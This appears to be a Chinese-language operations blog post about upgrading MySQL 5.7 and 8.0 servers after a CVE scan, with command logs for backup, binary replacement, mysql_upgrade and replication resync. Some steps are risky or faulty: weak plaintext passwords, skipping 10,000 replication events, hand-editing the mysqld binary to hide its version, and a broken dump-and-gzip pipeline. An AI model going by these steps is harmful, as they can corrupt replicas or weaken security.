一、背景
某次安全漏扫，发现MySQL大量漏洞，基于Mysql之用于内网，且版本确实有点旧，考虑升级，综合漏洞分析，只能升级到最新版5.7.42和8.0.33，现场环境：Mysql 5.7.28、5.7.20 和mysql：8.0.21
漏洞编号漏洞描述CVE-2023-21912MySQL 5.7.41 版本及之前版本和 8.0.30 版本及之前版本的 Server: Security: Privileges 组件存在安全漏洞CVE-2022-37434MySQL 5.7.41版本及之前版本和 8.0.31 版本及之前版本的 Server: InnoDB (zlib)组件存在安全漏洞CVE-2022-32221MySQL Server 5.7.40及之前版本的Server: Packaging (cURL)组件内不正确的输入验证。CVE-2023-21980MySQL 5.7.41 版本及之前版本和 8.0.32 版本及之前版本的 Client programs 组件存在安全漏洞；CVE-2022-43551MySQL 5.7.41 版本及之前版本和 8.0.32 版本及之前版本的 Server: Server: Packaging (cURL) 组件存在安全漏洞
附录：mysql5.7和mysql8.0区别、mysql 8手册、版本说明、mysql5.7手册、阿里云漏洞库
二、升级处理
1）升级方式选择，Mysql的两种升级方式：
1、就地升级（In-place Upgrade） 关闭旧版本mysql，用新的替换旧的二进制文件或软件包，在现有数据目录上重启数据库，执行mysql_upgrade 特点：不改变数据文件，升级速度快；但，不可以跨操作系统，不可以跨大版本（5.5—>5.7）. 2、逻辑升级（Logical Upgrade） 使用备份或导出实用程序（如mysqldump，Xtrabackup）从旧mysql实例导出SQL ，安装新的mysql数据库版本，再将SQL应用于新的mysql实例。 特点：可以跨操作系统，跨大版本；但，升级速度慢，容易出现乱码等兼容性问题。
本案中采用方法1升级替换，更多参考：Mysql 5.7 二进制方式安装
2）升级前准备 参考文档：Mysql8升级前准备、Mysql5.7升级、介质。
#rpm包方式：官方推荐解压后yum安装：yum install mysql-community-{server,client,common,libs}-*
wget --no-check-certificate https://cdn.mysql.com//Downloads/MySQL-5.7/mysql-5.7.42-1.el7.x86_64.rpm-bundle.tar
#二进制包方式：因我们本次采用源码包编译安装后替代二进制文件方式，旧的版本也是基于glibc2.12的
wget --no-check-certificate https://cdn.mysql.com//Downloads/MySQL-5.7/mysql-57.42-linux-glibc2.12-x86 64.tar.gz
#合法性验证
md5sum mysql-5.7.42-1.el7.x86_64.rpm-bundle.tar //输出ea9b44d306dcf6e74a4b4832a0a700e3
md5sum mysql-57.42-linux-glibc2.12-x86 64.tar.gz//输出c00530249e4bf6899d1fbf6d3fed4897
#备份
tar -czf mysql_all.20230621.tar.gz ./mysql
#不锁表备份
./mysql/bin/mysqldump -u root -p --databases db1 db2 --single-transaction > /opt/mysql_db_bak/mysql_`date +%Y%m%d`.sql #或--all-databases
#现场，-F 生产新的binlog(--flush-logs)，--no-data指导表结构，
./mysql/bin/mysqldump -u root -p --databases spms xxl-job behavior_sur cr_debug interview --skip-add-drop-table --single-transaction > /opt/mysql_db_bak/mysql_`date +%Y%m%d`
#排除某些库，导出语句中不输出drop table,create table
mysql -uroot -p'mysql' -N -e "show databases;"|grep -Ev "information_schema|performance_schema|sys|mysql|database1"|xargs mysqldump -uroot -p'123456' --no-create-info --databases > /opt/mysql_db_bak/mysql_`date +%Y%m%d`|gzip >./mysql_`date +%Y%m%d`.sql.gz
#导出后直接导入slave,-C:启用压缩传递
mysqldump --host=master -uroot -p'123456' -C --all-databases |mysql --host=slave -uroot -p'123456'
#其他
mysqldump -uroot -p --all-databases --all-tablespaces //导出全部表空间
mysqldump -uroot -p --all-databases --no-tablespaces --add-drop-database //每个数据库创建之前添加drop数据库语句
mysqldump -uroot -p --all-databases --add-drop-database --add-drop-table 、、每个数据表创建之前添加drop数据表语句。(默认为打开状态，使用--skip-add-drop-table取消选项)
mysqldump -uroot -p --all-databases --skip-add-drop-table //取消drop语句
mysqldump -uroot -p --host=localhost --all-databases --no-create-db //或-n,只导出数据，而不添加CREATE DATABASE 语句
mysqldump -uroot -p --host=localhost --all-databases --no-create-info //-t,只导出数据，而不添加CREATE TABLE 语句
3）关闭mysql，替换二进制进行就地升级（不涉及跨大版本问题）
systemctl status mysqld
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
Active: active (running) since Wed 2023-04-19 23:25:30 CST; 2 months 2 days ago
Docs: man:systemd-sysv-generator(8)
Process: 2751 ExecStart=/etc/rc.d/init.d/mysqld start (code=exited, status=0/SUCCESS)
CGroup: /system.slice/mysqld.service
├─2764 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local/mysql/data --pid-file=/var/run/mysqld/mysqld.pid
└─3108 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin ...
Apr 19 23:25:29 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
Apr 19 23:25:30 zq-mysql-master mysqld[2751]: Starting MySQL. SUCCESS!
Apr 19 23:25:30 zq-mysql-master systemd[1]: Started LSB: start and stop MySQL.
#如果没有创建服务，可登录后配置MySQL缓慢关停
mysql -u root -p
mysql> select @@innodb_fast_shutdown;
mysql> SET GLOBAL innodb_fast_shutdown=0;
#或直接，缓慢关闭服务的作用：关闭时，InnoDB会在关闭前执行完全purge和变化的缓冲区合并，以确保在版本之间出现文件格式差异时，data files已做好准备。
mysql -u root -p --execute="SET GLOBAL innodb_fast_shutdown=0"
mysqladmin -u root -p shutdown
#或者重新创建个
cp /usr/local/mysql/support-files/mysql.server /etc/rc.d/init.d/
chmod +x /etc/init.d/mysql.server
chkconfig --add mysql.server
chkconfig --list
systemctl stop mysqld
systemctl status mysqld #验证
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
Active: inactive (dead) since Thu 2023-06-22 12:06:28 CST; 1min 17s ago
Docs: man:systemd-sysv-generator(8)
Process: 23685 ExecStop=/etc/rc.d/init.d/mysqld stop (code=exited, status=0/SUCCESS)
Process: 2751 ExecStart=/etc/rc.d/init.d/mysqld start (code=exited, status=0/SUCCESS)
Apr 19 23:25:29 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
Apr 19 23:25:30 zq-mysql-master mysqld[2751]: Starting MySQL. SUCCESS!
Apr 19 23:25:30 zq-mysql-master systemd[1]: Started LSB: start and stop MySQL.
Jun 22 12:06:16 zq-mysql-master systemd[1]: Stopping LSB: start and stop MySQL...
Jun 22 12:06:28 zq-mysql-master mysqld[23685]: Shutting down MySQL............ SUCCESS!
Jun 22 12:06:28 zq-mysql-master systemd[1]: Stopped LSB: start and stop MySQL.
ps aux|grep mysql
#解压二进制包替换旧mysql
tar -xzf mysql-57.42-linux-glibc2.12-x86 64.tar.gz
mv mysql-5.7.42-linux-glibc2.12-x86_64 mysql-5.7.42
cd mysql-5.7.42
ls //
bin docs include lib LICENSE man README share support-files
#迁移mysql 5.7.42 到原mysql安装目录，比较权限
root@zq-mysql-master local]# ll ./mysql_old/
total 56
drwxr-x--- 2 mysql mysql 4096 Sep 18 2019 bin
-rw-r--r-- 1 mysql mysql 17987 Sep 13 2017 COPYING
drwxr-x--- 10 mysql mysql 4096 Jun 22 12:06 data
drwxr-x--- 2 mysql mysql 4096 Sep 18 2019 docs
drwxr-x--- 3 mysql mysql 4096 Sep 18 2019 include
drwxr-x--- 5 mysql mysql 4096 Sep 18 2019 lib
drwxr-x--- 4 mysql mysql 4096 Sep 18 2019 man
-rw-r--r-- 1 mysql mysql 2478 Sep 13 2017 README
drwxr-x--- 28 mysql mysql 4096 Sep 18 2019 share
drwxr-x--- 2 mysql mysql 4096 Sep 18 2019 support-files
[root@zq-mysql-master local]# ll ./mysql-5.7.42/
total 284
drwxr-xr-x 2 root root 4096 Jun 22 12:10 bin
drwxr-xr-x 2 root root 4096 Jun 22 12:10 docs
drwxr-xr-x 3 root root 4096 Jun 22 12:10 include
drwxr-xr-x 5 root root 4096 Jun 22 12:10 lib
-rw-r--r-- 1 7161 31415 255738 Mar 16 23:25 LICENSE
drwxr-xr-x 4 root root 4096 Jun 22 12:10 man
-rw-r--r-- 1 7161 31415 566 Mar 16 23:25 README
drwxr-xr-x 28 root root 4096 Jun 22 12:10 share
drwxr-xr-x 2 root root 4096 Jun 22 12:10 support-files
#授权后迁移data过去到新目录
chown mysql.mysql -R ./mysql-5.7.42/
cp -pr ./mysql_old/data ./mysql-5.7.42/
ll ./mysql-5.7.42/
total 288
drwxr-xr-x 2 mysql mysql 4096 Jun 22 12:10 bin
drwxr-x--- 10 mysql mysql 4096 Jun 22 12:06 data
drwxr-xr-x 2 mysql mysql 4096 Jun 22 12:10 docs
drwxr-xr-x 3 mysql mysql 4096 Jun 22 12:10 include
drwxr-xr-x 5 mysql mysql 4096 Jun 22 12:10 lib
-rw-r--r-- 1 mysql mysql 255738 Mar 16 23:25 LICENSE
drwxr-xr-x 4 mysql mysql 4096 Jun 22 12:10 man
-rw-r--r-- 1 mysql mysql 566 Mar 16 23:25 README
drwxr-xr-x 28 mysql mysql 4096 Jun 22 12:10 share
drwxr-xr-x 2 mysql mysql 4096 Jun 22 12:10 support-files
#重新启动mysql
systemctl start mysqld
systemctl status mysqld //报错如下
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
Active: active (exited) since Thu 2023-06-22 12:20:11 CST; 31s ago
Docs: man:systemd-sysv-generator(8)
Process: 23685 ExecStop=/etc/rc.d/init.d/mysqld stop (code=exited, status=0/SUCCESS)
Process: 24001 ExecStart=/etc/rc.d/init.d/mysqld start (code=exited, status=0/SUCCESS)
Jun 22 12:20:11 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
Jun 22 12:20:11 zq-mysql-master mysqld[24001]: /etc/rc.d/init.d/mysqld: line 239: my_print_defaults: command not found
Jun 22 12:20:11 zq-mysql-master mysqld[24001]: /etc/rc.d/init.d/mysqld: line 259: cd: /usr/local/mysql: No such file or directory
Jun 22 12:20:11 zq-mysql-master mysqld[24001]: Starting MySQL ERROR! Couldn't find MySQL server (/usr/local/mysql/bin/mysqld_safe)
Jun 22 12:20:11 zq-mysql-master systemd[1]: Started LSB: start and stop MySQL.
#报错：
Jun 22 12:34:37 zq-mysql-master polkitd[2119]: Unregistered Authentication Agent for unix-process:24772:549123771 (system bus name :1.2
Jun 22 12:34:37 zq-mysql-master systemd[1]: Unit mysqld.service entered failed state.
Jun 22 12:34:37 zq-mysql-master systemd[1]: mysqld.service failed.
Jun 22 12:36:38 zq-mysql-master polkitd[2119]: Registered Authentication Agent for unix-process:25185:549135938 (system bus name :1.203
Jun 22 12:36:38 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
-- Subject: Unit mysqld.service has begun start-up
-- Defined-By: systemd
-- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel
--
-- Unit mysqld.service has begun starting up.
Jun 22 12:36:39 zq-mysql-master mysqld[25191]: Starting MySQL. ERROR! The server quit without updating PID file (/var/run/mysqld/mysqld
Jun 22 12:36:39 zq-mysql-master systemd[1]: mysqld.service: control process exited, code=exited status=1
Jun 22 12:36:39 zq-mysql-master systemd[1]: Failed to start LSB: start and stop MySQL.
#用以下命令重新启动，注意mysql目录是750的权限，否则会报：mysqld_safe mysqld from pid file /var/run/mysqld/mysql
./bin/mysqld_safe --user=mysql --datadir=/usr/local/mysql/data &
#检查数据库所有表是否与当前版本兼容，并更新系统库
./bin/mysql_upgrade -u root -p //更新数据库表，它会检查所有数据库中的所有表是否与当前版本的MySQL不兼容。mysqlupgrade还回升级了mysql系统数据库，以便可以利用新的权限或功能。注意：它不会升级时区表或帮助表的内容。
Enter password:
Checking if update is needed.
Checking server version.
Running queries to upgrade MySQL server.
Checking system database.
mysql.columns_priv OK
mysql.db OK
mysql.engine_cost OK
mysql.event OK
mysql.func OK
……
mysql.user OK
Found outdated sys schema version 1.5.1.
Upgrading the sys schema.
Checking databases.
cr_debug.breakpoints OK
cr_debug.callstack OK
cr_debug.debuggings OK
cr_debug.info OK
cr_debug.watches OK
interview.act_evt_log OK
interview.act_ge_bytearray OK
interview.act_ge_property OK
interview.act_hi_actinst OK
interview.act_hi_attachment OK
interview.act_hi_comment OK
interview.act_hi_detail OK
interview.act_hi_identitylink OK
interview.act_hi_procinst OK
interview.act_hi_taskinst OK
interview.act_hi_varinst OK
interview.act_id_group OK
interview.act_id_info OK
interview.act_id_membership OK
interview.act_id_user OK
interview.act_procdef_info OK
interview.act_re_deployment OK
interview.act_re_model OK
interview.act_re_procdef OK
interview.act_ru_event_subscr OK
interview.act_ru_execution OK
interview.act_ru_identitylink OK
interview.act_ru_job OK
interview.act_ru_task OK
interview.act_ru_variable OK
interview.area OK
interview.bid_video_meeting OK
interview.judges OK
interview.judges_meeting OK
interview.notice_staff OK
interview.organization OK
interview.package_video OK
interview.staff OK
interview.sys_captcha OK
interview.sys_config OK
interview.sys_dictionary OK
interview.sys_log OK
interview.sys_menu OK
interview.sys_role OK
interview.sys_role_menu OK
interview.sys_sms OK
interview.sys_user OK
interview.sys_user_role OK
interview.sys_user_token OK
spms.act_evt_log OK
spms.act_ge_bytearray OK
spms.act_ge_property OK
spms.act_hi_actinst OK
spms.act_hi_attachment OK
spms.act_hi_comment OK
spms.act_hi_detail OK
spms.act_hi_identitylink OK
spms.act_hi_procinst OK
spms.act_hi_taskinst OK
spms.act_hi_varinst OK
spms.act_id_group OK
spms.act_id_info OK
spms.act_id_membership OK
spms.act_id_user OK
spms.act_procdef_info OK
spms.act_re_deployment OK
spms.act_re_model OK
spms.act_re_procdef OK
spms.act_ru_event_subscr OK
spms.act_ru_execution OK
spms.act_ru_identitylink OK
spms.act_ru_job OK
spms.act_ru_task OK
spms.act_ru_variable OK
spms.agency_score OK
spms.apply OK
spms.approve_record OK
spms.area OK
spms.bid_video_meeting OK
spms.bidding_agency OK
spms.bidding_agency_copy OK
spms.bidding_agency_staff OK
spms.bidding_agency_staff_copy OK
spms.desktop_para OK
spms.es_config OK
spms.es_project OK
spms.i_sys_user OK
spms.imp_exp_temp OK
spms.imp_exp_temp_comp OK
spms.judges OK
spms.judges_meeting OK
spms.meeting_room OK
spms.meeting_room_20220315 OK
spms.meeting_room_20220323 OK
spms.meeting_room_20220324 OK
spms.meeting_room_device OK
spms.meeting_room_device_20220315 OK
spms.meeting_room_device_20220323 OK
spms.meeting_room_device_20220324 OK
spms.meeting_room_device_20220830 OK
spms.meeting_room_device_copy1 OK
spms.meeting_room_redistribution OK
spms.meeting_room_staff OK
spms.meeting_room_staff_20220315 OK
spms.meeting_room_staff_20220323 OK
spms.meeting_room_staff_20220324 OK
spms.notice OK
spms.notice_staff OK
spms.online_cloud_user OK
spms.online_desktop_user OK
spms.online_meeting_room OK
spms.online_meeting_room_record OK
spms.online_sys_user OK
spms.org_bidding_agency OK
spms.organization OK
spms.organization_20190822 OK
spms.organization_20201105 OK
spms.organization_20211125 OK
spms.package_appointment OK
spms.package_appointment_20221015 OK
spms.package_document OK
spms.package_document_bak OK
spms.package_eva_content_record OK
spms.package_evaluate_record OK
spms.package_expert_extract OK
spms.package_expert_scr_record OK
spms.package_expert_signature OK
spms.package_expert_signature_step OK
spms.package_monitor_data OK
spms.package_monitor_data_20221018 OK
spms.package_monitor_data_copy OK
spms.package_supplier OK
spms.package_video OK
spms.package_video_20221015 OK
spms.package_video_202210151414 OK
spms.pdman_db_version OK
spms.post OK
spms.project OK
spms.project_20220322 OK
spms.project_20220505 OK
spms.project_20220816 OK
spms.project_bidding_agency OK
spms.project_borrow OK
spms.project_check OK
spms.project_log OK
spms.project_meeting_room OK
spms.project_package OK
spms.project_package_abort OK
spms.project_tender OK
spms.project_tender_20220322 OK
spms.project_tender_20220513 OK
spms.push_project_video_record OK
spms.qrtz_blob_triggers OK
spms.qrtz_calendars OK
spms.qrtz_cron_triggers OK
spms.qrtz_fired_triggers OK
spms.qrtz_job_details OK
spms.qrtz_locks OK
spms.qrtz_paused_trigger_grps OK
spms.qrtz_scheduler_state OK
spms.qrtz_simple_triggers OK
spms.qrtz_simprop_triggers OK
spms.qrtz_triggers OK
spms.rpt_meeting_room_build OK
spms.rpt_project_package_bid OK
spms.schedule_job OK
spms.schedule_job_log OK
spms.staff OK
spms.staff_copy1 OK
spms.step OK
spms.step_post OK
spms.step_post_staff OK
spms.sys_captcha OK
spms.sys_config OK
spms.sys_dictionary OK
spms.sys_dictionary_bak1223 OK
spms.sys_log OK
spms.sys_log_2022 OK
spms.sys_menu OK
spms.sys_menu_20190802 OK
spms.sys_menu_copy1 OK
spms.sys_notice OK
spms.sys_operate OK
spms.sys_role OK
spms.sys_role_menu OK
spms.sys_sms OK
spms.sys_user OK
spms.sys_user_password OK
spms.sys_user_role OK
spms.sys_user_role_copy OK
spms.sys_user_token OK
spms.tb_user OK
spms.tender_bidding_agency OK
spms.tmp_project OK
spms.tmp_screen_rec OK
spms.upload_log OK
spms.wo OK
spms.wo_recorder OK
sys.sys_config OK
xxl-job.xxl_job_qrtz_blob_triggers OK
xxl-job.xxl_job_qrtz_calendars OK
xxl-job.xxl_job_qrtz_cron_triggers OK
xxl-job.xxl_job_qrtz_fired_triggers OK
xxl-job.xxl_job_qrtz_job_details OK
xxl-job.xxl_job_qrtz_locks OK
xxl-job.xxl_job_qrtz_paused_trigger_grps OK
xxl-job.xxl_job_qrtz_scheduler_state OK
xxl-job.xxl_job_qrtz_simple_triggers OK
xxl-job.xxl_job_qrtz_simprop_triggers OK
xxl-job.xxl_job_qrtz_trigger_group OK
xxl-job.xxl_job_qrtz_trigger_info OK
xxl-job.xxl_job_qrtz_trigger_log OK
xxl-job.xxl_job_qrtz_trigger_logglue OK
xxl-job.xxl_job_qrtz_trigger_registry OK
xxl-job.xxl_job_qrtz_triggers OK
Upgrade process completed successfully.
Checking if update is needed.
#重启mysql应用升级，使其生效
./bin/mysqladmin -u root -p shutdown
./bin/mysqld_safe --user=mysql --datadir=/path/to/existing-datadir &
//或
systemctl start mysqld
//验证
systemctl status mysqld
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
Active: active (running) since Thu 2023-06-22 13:35:38 CST; 6s ago
Docs: man:systemd-sysv-generator(8)
Process: 2653 ExecStart=/etc/rc.d/init.d/mysqld start (code=exited, status=0/SUCCESS)
CGroup: /system.slice/mysqld.service
├─2666 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local...
└─3010 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --data...
Jun 22 13:35:37 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
Jun 22 13:35:38 zq-mysql-master mysqld[2653]: Starting MySQL. SUCCESS!
Jun 22 13:35:38 zq-mysql-master systemd[1]: Started LSB: start and stop MySQL.
Hint: Some lines were ellipsized, use -l to show in full.
//版本验证
mysql -V //输出如下
mysql Ver 14.14 Distrib 5.7.42, for linux-glibc2.12 (x86_64) using EditLine wrapper
3）备库升级
//主库升级后锁定
mysql> flush tables with read lock;
/bin/mysql -u root -p --execute="SET GLOBAL innodb_fast_shutdown=0"
/bin/mysqladmin -u root -p shutdown
chown -R mysql.mysql ./mysql-5.7.42/
chmod 750 ./mysql-5.7.42/
mv mysql-5.7.42 mysql
cd mysql
ll //验证
#同上
./bin/mysqld_safe --user=mysql --datadir=/usr/local/mysql/data &
./bin/mysql_upgrade -u root -p
./bin/mysqladmin -u root -p shutdown
ps aux|grep mysqld
systemctl start mysqld
systemctl status mysqld
mysql -V //输出如下
mysql Ver 14.14 Distrib 5.7.42, for linux-glibc2.12 (x86_64) using EditLine wrapper
4）主从一致性恢复
//master上确认
mysql> show master status;
+-------------------+----------+--------------+------------------+-------------------+
| File | Position | Binlog_Do_DB | Binlog_Ignore_DB | Executed_Gtid_Set |
+-------------------+----------+--------------+------------------+-------------------+
| master-bin.000053 | 80656 | | | |
+-------------------+----------+--------------+------------------+-------------------+
1 row in set (0.01 sec)
//从库上确定读位置
ysql> show slave status\G
*************************** 1. row ***************************
Slave_IO_State:
Master_Host: 172.10.x.x
Master_User: repl
Master_Port: 3306
Connect_Retry: 60
Master_Log_File: master-bin.000052
Read_Master_Log_Pos: 59086
Relay_Log_File: slave-relay-bin.000022
Relay_Log_Pos: 122301
Relay_Master_Log_File: master-bin.000051
Slave_IO_Running: No
Slave_SQL_Running: No
Replicate_Do_DB:
Replicate_Ignore_DB:
Replicate_Do_Table:
Replicate_Ignore_Table:
Replicate_Wild_Do_Table:
Replicate_Wild_Ignore_Table:
Last_Errno: 1032
Last_Error: Could not execute Update_rows event on table mysql.user; Can't find record in 'user', Error_code: 1032; handler error HA_ERR_KEY_NOT_FOUND; the event's master log master-bin.000051, end_log_pos 123294
//从库上修改读上述Pos
mysql> change master to master_host = '172.16.1.2', master_user = 'repl', master_port=3306, master_password='12345', master_log_file = 'master-bin.000053', master_log_pos=101990;
#如果repl密码忘记，执行如下
mysql> update mysql.user set authentication_string = password ('newpasswd') where user = 'repl' and host = '172.16.1.%';
mysql> flush privileges
//一般如果主从同步差别不大的话可跳过错误内容，数据量不大的可重新导入
mysql> set global sql_slave_skip_counter =10000;
mysql> show slave status\G
//待从连接主同步正常后，master上解锁表
mysql> unlock tables;
//观察一段时间，主从正常后，页面验证业务即可
三、其他加固处理
1）可以获取到MySQL/MariaDB/Percona/TiDB Server版本信息，版本泄露，隐藏版本即可
mysql> select version();
#或
telnet mysql_server_ip 3306
#或
nmap -T4 -sC -sV -p 3306 mysql_server_ip #yum -y install wget telnet nmap net-tools
#备份mysql二进制文件
cp /usr/bin/mysql /usr/bin/mysql.bakcp /usr/sbin/mysqld /usr/sbin/mysqld.bak
#编辑修改二进制文件中版本信息；注意：版本号不可为空或删减其他信息，否则可能导致服务无法启用！
vi /usr/bin/mysql #客户端侧，搜索关键字“Linux或Linux”快速定位，修改版本号，建议改为官网最新的稳定版本
vi /usr/bin/mysqld #服务侧，搜索关键字“--language”快速定位，修改版本号
#完成后，重启服务验证
2）mysql 8.0和5.7 架构区别
四、Mysql 8.0.21升级到8.0.33
mysql -V #
mysql Ver 8.0.21 for Linux on x86_64 (MySQL Community Server - GPL)
#Upgrading MySQL with Directly-Downloaded RPM Packages
wget https://cdn.mysql.com//Downloads/MySQL-8.0/mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar
tar -xf mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar //如下
mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar
mysql-community-client-8.0.33-1.el7.x86_64.rpm
mysql-community-client-plugins-8.0.33-1.el7.x86_64.rpm
mysql-community-common-8.0.33-1.el7.x86_64.rpm
mysql-community-debuginfo-8.0.33-1.el7.x86_64.rpm
mysql-community-devel-8.0.33-1.el7.x86_64.rpm
mysql-community-embedded-compat-8.0.33-1.el7.x86_64.rpm
mysql-community-icu-data-files-8.0.33-1.el7.x86_64.rpm
mysql-community-libs-8.0.33-1.el7.x86_64.rpm
mysql-community-libs-compat-8.0.33-1.el7.x86_64.rpm
mysql-community-server-8.0.33-1.el7.x86_64.rpm
mysql-community-server-debug-8.0.33-1.el7.x86_64.rpm
mysql-community-test-8.0.33-1.el7.x86_64.rpm
#安装，官方推荐用yum，而非rpm -Uvh
#yum localinstall mysql-community-{server,client,common,libs}-*
yum localinstall mysql-community-*
Loaded plugins: auto-update-debuginfo, fastestmirror, versionlock
Repository base is listed more than once in the configuration
Repository updates is listed more than once in the configuration
Repository extras is listed more than once in the configuration
Repository centosplus is listed more than once in the configuration
Repository epel is listed more than once in the configuration
Repository epel-debuginfo is listed more than once in the configuration
Repository epel-source is listed more than once in the configuration
Examining mysql-community-client-8.0.33-1.el7.x86_64.rpm: mysql-community-client-8.0.33-1.el7.x86_64
Marking mysql-community-client-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-client-8.0.21-1.el7.x86_64
Examining mysql-community-client-plugins-8.0.33-1.el7.x86_64.rpm: mysql-community-client-plugins-8.0.33-1.el7.x86_64
Marking mysql-community-client-plugins-8.0.33-1.el7.x86_64.rpm to be installed
Examining mysql-community-common-8.0.33-1.el7.x86_64.rpm: mysql-community-common-8.0.33-1.el7.x86_64
Marking mysql-community-common-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-common-8.0.21-1.el7.x86_64
Examining mysql-community-debuginfo-8.0.33-1.el7.x86_64.rpm: mysql-community-debuginfo-8.0.33-1.el7.x86_64
Marking mysql-community-debuginfo-8.0.33-1.el7.x86_64.rpm to be installed
Examining mysql-community-devel-8.0.33-1.el7.x86_64.rpm: mysql-community-devel-8.0.33-1.el7.x86_64
Marking mysql-community-devel-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-devel-8.0.21-1.el7.x86_64
Examining mysql-community-embedded-compat-8.0.33-1.el7.x86_64.rpm: mysql-community-embedded-compat-8.0.33-1.el7.x86_64
Marking mysql-community-embedded-compat-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-embedded-compat-8.0.21-1.el7.x86_64
Examining mysql-community-icu-data-files-8.0.33-1.el7.x86_64.rpm: mysql-community-icu-data-files-8.0.33-1.el7.x86_64
Marking mysql-community-icu-data-files-8.0.33-1.el7.x86_64.rpm to be installed
Examining mysql-community-libs-8.0.33-1.el7.x86_64.rpm: mysql-community-libs-8.0.33-1.el7.x86_64
Marking mysql-community-libs-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-libs-8.0.21-1.el7.x86_64
Examining mysql-community-libs-compat-8.0.33-1.el7.x86_64.rpm: mysql-community-libs-compat-8.0.33-1.el7.x86_64
Marking mysql-community-libs-compat-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-libs-compat-8.0.21-1.el7.x86_64
Examining mysql-community-server-8.0.33-1.el7.x86_64.rpm: mysql-community-server-8.0.33-1.el7.x86_64
Marking mysql-community-server-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-server-8.0.21-1.el7.x86_64
Examining mysql-community-server-debug-8.0.33-1.el7.x86_64.rpm: mysql-community-server-debug-8.0.33-1.el7.x86_64
Marking mysql-community-server-debug-8.0.33-1.el7.x86_64.rpm to be installed
Examining mysql-community-test-8.0.33-1.el7.x86_64.rpm: mysql-community-test-8.0.33-1.el7.x86_64
Marking mysql-community-test-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-test-8.0.21-1.el7.x86_64
Resolving Dependencies
--> Running transaction check
---> Package mysql-community-client.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-client.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-client-plugins.x86_64 0:8.0.33-1.el7 will be installed
---> Package mysql-community-common.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-common.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-debuginfo.x86_64 0:8.0.33-1.el7 will be installed
---> Package mysql-community-devel.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-devel.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-embedded-compat.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-embedded-compat.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-icu-data-files.x86_64 0:8.0.33-1.el7 will be installed
---> Package mysql-community-libs.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-libs.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-libs-compat.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-libs-compat.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-server.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-server.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-server-debug.x86_64 0:8.0.33-1.el7 will be installed
---> Package mysql-community-test.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-test.x86_64 0:8.0.33-1.el7 will be an update
--> Finished Dependency Resolution
Dependencies Resolved
================================================================================================
Package Arch Version Repository Size
================================================================================================
Installing:
mysql-community-client-plugins
x86_64 8.0.33-1.el7 /mysql-community-client-plugins-8.0.33-1.el7.x86_64 20 M
mysql-community-debuginfo
x86_64 8.0.33-1.el7 /mysql-community-debuginfo-8.0.33-1.el7.x86_64 2.5 G
mysql-community-icu-data-files
x86_64 8.0.33-1.el7 /mysql-community-icu-data-files-8.0.33-1.el7.x86_64 3.5 M
mysql-community-server-debug
x86_64 8.0.33-1.el7 /mysql-community-server-debug-8.0.33-1.el7.x86_64 120 M
Updating:
mysql-community-client
x86_64 8.0.33-1.el7 /mysql-community-client-8.0.33-1.el7.x86_64 80 M
mysql-community-common
x86_64 8.0.33-1.el7 /mysql-community-common-8.0.33-1.el7.x86_64 10 M
mysql-community-devel
x86_64 8.0.33-1.el7 /mysql-community-devel-8.0.33-1.el7.x86_64 10 M
mysql-community-embedded-compat
x86_64 8.0.33-1.el7 /mysql-community-embedded-compat-8.0.33-1.el7.x86_64 17 M
mysql-community-libs
x86_64 8.0.33-1.el7 /mysql-community-libs-8.0.33-1.el7.x86_64 7.6 M
mysql-community-libs-compat
x86_64 8.0.33-1.el7 /mysql-community-libs-compat-8.0.33-1.el7.x86_64 3.7 M
mysql-community-server
x86_64 8.0.33-1.el7 /mysql-community-server-8.0.33-1.el7.x86_64 295 M
mysql-community-test
x86_64 8.0.33-1.el7 /mysql-community-test-8.0.33-1.el7.x86_64 755 M
Transaction Summary
================================================================================================
Install 4 Packages
Upgrade 8 Packages
Total size: 3.7 G
Is this ok [y/d/N]: y
Downloading packages:
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
Warning: RPMDB altered outside of yum.
** Found 7 pre-existing rpmdb problem(s), 'yum check' output follows:
elfutils-devel-0.170-4.el7.x86_64 has missing requires of pkgconfig(zlib)
